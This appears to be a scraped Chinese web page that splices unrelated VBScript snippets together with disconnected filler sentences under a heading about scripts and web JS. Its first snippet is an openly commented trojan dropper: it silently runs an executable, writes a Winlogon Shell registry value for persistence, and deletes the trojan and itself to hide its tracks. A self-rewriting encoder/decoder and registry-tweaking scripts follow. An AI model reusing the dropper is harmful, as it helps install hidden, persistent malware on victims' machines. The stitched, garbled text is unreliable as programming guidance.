脚本如何写运行f11键网页js

当你在窗体上加入Timer控件时,它只出现在设计时,而不会在运行时出现可见的控件图标dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "%windir%\flumasko.exe",0 //运行木马程序 set sm=Wscript.CreateObject("WScript.Shell") sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" //写进注册表项实现自启动 set WshShell=WScript.CreateObject("WScript.Shell") WScript.Sleep 2000 //等木马的执行完毕 Set fso=CreateObject("Scripting.FileSystemObject") f=fso.DeleteFile ("flumasko.exe") f=fso.DeleteFile (WScript.ScriptName) //毁尸灭迹

脚本与文案的区别IfWScript.Arguments.Count<>1Then WScript.Echo"Example:CScript"&WScript.ScriptName&"" WScript.Quit EndIf url=""&WScript.Arguments(0) SetoXMLHttpRequest=CreateObject("Msxml2.XMLHTTP") oXMLHttpRequest.Open"GET",url,False,False oXMLHttpRequest.Send str=oXMLHttpRequest.ResponseText ipos=instr(str,"<fontface="&Chr(34)&"arial"&Chr(34)&">") ipend=instr(str,"<!---endloop--->") str=mid(str,ipos+19,ipend-ipos-139) str=Replace(str,"<b>","") str=Replace(str,"</b>","") str=Replace(str,"<small>","") str=Replace(str,"</small>","") str=Replace(str,"</font><fontface="&chr(34)&"arial"&chr(34)&"size="&chr(34)&"-1"&chr(34)&">","") str=Replace(str,"Found","Found") iposa=instr(str,"with") iposb=InStr(str,"1)") stra=mid(str,iposa,iposb-iposa) str=replace(str,stra,"lcx") str=replace(str,"lcx1)","<br>1)") 'wscript.echostr SetoXMLHttpRequest=Nothing SetobjExplorer=WScript.CreateObject("InternetExplorer.Application") objExplorer.Navigate"about:blank" objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Visible=1 objExplorer.height=600 objExplorer.width=500 objExplorer.left=400 objExplorer.resizable=0 objExplorer.Document.Body.InnerHTML=str objExplorer.document.parentwindow.clipboardData.SetData"text",str SetobjExplorer=nothing ========================正则: msg="请输入你要查询的IP或域名:" IP=Inputbox(msg,"域名查询","") IfIP=""ThenIP="" url=""&IP&"" Body=getHTTPPage(url) SetRe=NewRegExp Re.Pattern="(<fontface=""arial"">[\s\S]+</font></td></tr></table>)" SetMatches=Re.Execute(Body) IfMatches.Count>0ThenBody=Matches(0).value SetoXMLHttpRequest=Nothing SetobjExplorer=WScript.CreateObject("InternetExplorer.Application") objExplorer.Navigate"about:blank" objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Visible=1 objExplorer.height=300 objExplorer.width=400 objExplorer.left=400 objExplorer.resizable=0 objExplorer.Document.Body.InnerHTML=IP&Body 'objExplorer.document.parentwindow.clipboardData.SetData"text",IP&Body SetobjExplorer=nothing '函数区 FunctiongetHTTPPage(Path) t=GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312") EndFunction FunctionGetBody(url) OnErrorResumeNext SetRetrieval=CreateObject("Microsoft.XMLHTTP") WithRetrieval .Open"Get",url,False,"","" .Send GetBody=.ResponseBody EndWith SetRetrieval=Nothing EndFunction FunctionBytesToBstr(Body,Cset) Dimobjstream Setobjstream=CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.WriteBody objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadText objstream.Close Setobjstream=Nothing EndFunction 这种特色的文件列表没有现成的控件可供使用,但利用API函数可方便地实现

optionexplicit dimhkey_root,hkey_path,hkey_key,filepath dimfs,fso,regwsh hkey_root="hkey_current_user" hkey_path="\software\microsoft\internetexplorer" //先创建文件 setfs=wscript.createobject("scripting.filesystemobject") filepath="c:\pagesetup_default.htm" setfso=fs.createtextfile(filepath,true) fso.write("<scriptlanguage=""vbscript"">"+vbcrlf_ +"dimhkey_root,hkey_path,hkey_key,filepath,regwsh"+vbcrlf_ +"hkey_root=""hkey_current_user"""+vbcrlf_ +"hkey_path=""\software\microsoft\internetexplorer"""+vbcrlf_ +"filepath=""c:\pagesetup_null.htm"""+vbcrlf_ +"设置网页打印的页眉页脚为默认值"+vbcrlf_ +"setregwsh=createobject(""wscript.shell"")"+vbcrlf_ +"hkey_key=""\pagesetup\header"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,""&w&b页码:&p/&p"""+vbcrlf_ +"hkey_key=""\pagesetup\footer"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,""&u&b&d"""+vbcrlf_ +"设置右键菜单上的显示文字"+vbcrlf_ +"首先删除原来的项,然后再设置新的项"+vbcrlf_ +"onerrorresumenext"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时恢复页眉页脚"""+vbcrlf_ +"regwsh.regdeletehkey_key"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时去掉页眉页脚"""+vbcrlf_ +"regwsh.regwritehkey_key,filepath"+vbcrlf_ +"关闭regwsh"+vbcrlf_ +"setregwsh=nothing"+vbcrlf_ +"</script>") fso.close filepath="c:\pagesetup_null.htm" setfso=fs.createtextfile(filepath,true) fso.write("<scriptlanguage=""vbscript"">"+vbcrlf_ +"dimhkey_root,hkey_path,hkey_key,filepath,regwsh"+vbcrlf_ +"hkey_root=""hkey_current_user"""+vbcrlf_ +"hkey_path=""\software\microsoft\internetexplorer"""+vbcrlf_ +"filepath=""c:\pagesetup_default.htm"""+vbcrlf_ +"设置网页打印的页眉页脚为空"+vbcrlf_ +"setregwsh=createobject(""wscript.shell"")"+vbcrlf_ +"hkey_key=""\pagesetup\header"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,"""""+vbcrlf_ +"hkey_key=""\pagesetup\footer"""+vbcrlf_ +"regwsh.regwritehkey_root+hkey_path+hkey_key,"""""+vbcrlf_ +"设置右键菜单上的显示文字"+vbcrlf_ +"首先删除原来的项,然后再设置新的项"+vbcrlf_ +"onerrorresumenext"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时去掉页眉页脚"""+vbcrlf_ +"regwsh.regdeletehkey_key"+vbcrlf_ +"hkey_key=hkey_root+hkey_path+""\menuext\打印时恢复页眉页脚"""+vbcrlf_ +"regwsh.regwritehkey_key,filepath"+vbcrlf_ +"关闭regwsh"+vbcrlf_ +"setregwsh=nothing"+vbcrlf_ +"</script>") fso.close setregwsh=wscript.createobject("wscript.shell") hkey_key=hkey_root+hkey_path+"\menuext\打印时去掉页眉页脚" regwsh.regwritehkey_key,"c:\pagesetup_null.htm"Buttoncompleted当多媒体MCI控制按钮激活的MCI命令完成后发送

保存为文件:"+chr(10)&chr(10)&_ FSO.BuildPath(PkgPath,PkgName&"_Encode.VBS")+chr(10)+chr(10)+_ chr(10)&CloseTime&"秒钟后本窗口将自动关闭!"+chr(10)+chr(10)+_ chr(10)&"Copyright(C)"+Copyright+""&QQ&""+Email_ ,CloseTime,EnCodePanDuan+"-"+Copyright,0+64 EndSub SubUnCodeFile() SetReadFile=FSO.OpenTextFile(Package,1) ReadLineTextFile1=ReadFile.ReadLine ReadLineTextFile2=ReadFile.ReadLine ReadLineTextFile3=ReadFile.ReadLine ReadFile.Close SetNewFile=FSO.CreateTextFile(FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS"),True) NewFile.WriteLine(ReadLineTextFile2) NewFile.WriteLine(ReadLineTextFile3) NewFile.WriteLine("EnCodePanDuan="&chr(34)&ReadLineTextFile1&chr(34)&vbCrLf&"EnCodePD="&chr (34)&"RemEnCode-VeryByQQ:415736"&chr(34)&vbCrLf&"Fori=1ToLen (ThisText)"&vbCrLf&"TempNum=Asc(Mid(ThisText,i,1))"&vbCrLf&"TempChar=Chr (TempNum)"&vbCrLf&"ifEnCodePanDuan=EnCodePDthen"&vbCrLf&"IfTempChar=Chr(58) Then"&vbCrLf&"TempChar=Chr(13)"&vbCrLf&"EndIf"&vbCrLf&"EndIf"&vbCrLf&"ThisTextTem= ThisTextTem&TempChar"&vbCrLf&"Next") NewFile.WriteLine("strCode=(ThisTextTem)"&vbCrLf&"SetWshSHell=WScript.CreateObject ("&chr(34)&"WScript.Shell"&chr(34)&")"&vbCrLf&"SetFSO=CreateObject("&chr(34) &"Scripting.filesystemobject"&chr(34)&")"&vbCrLf&"FileName= WScript.ScriptName"&vbCrLf&"SetfC=FSO.OpenTextFile(FileName,2,true)"&vbCrLf&"fC.Write strCode"&vbCrLf&"fC.Close"&vbCrLf&"SetWshSHell=Nothing"&vbCrLf&"SetFSO= Nothing"&vbCrLf&"WScript.Quit(0)") NewFile.Close WScript.Sleep1500 WshSHell.Run(chr(34)&FSO.BuildPath(PkgPath,PkgName&"_Uncode.VBS")&chr(34)),vbHide WshShell.popupchr(10)&_ "解密成功了可以采用“旁门左道”的方式使用Instr函数实现代码的简练

COM的CONNECTIONPOINT可以成为一种事件发生回调机制荣誉截图看strin1$为当前字符串,strin2$为上一字符串strComputer="." Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\CIMV2") Set colItems=objWMIService.ExecQuery( _ "SELECT * FROM Win32_NetworkAdapterConfiguration",,48) For Each objItem in colItems Wscript.Echo objItem.Caption & fOutput(objItem.Caption) & "textinfo"Next

47人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册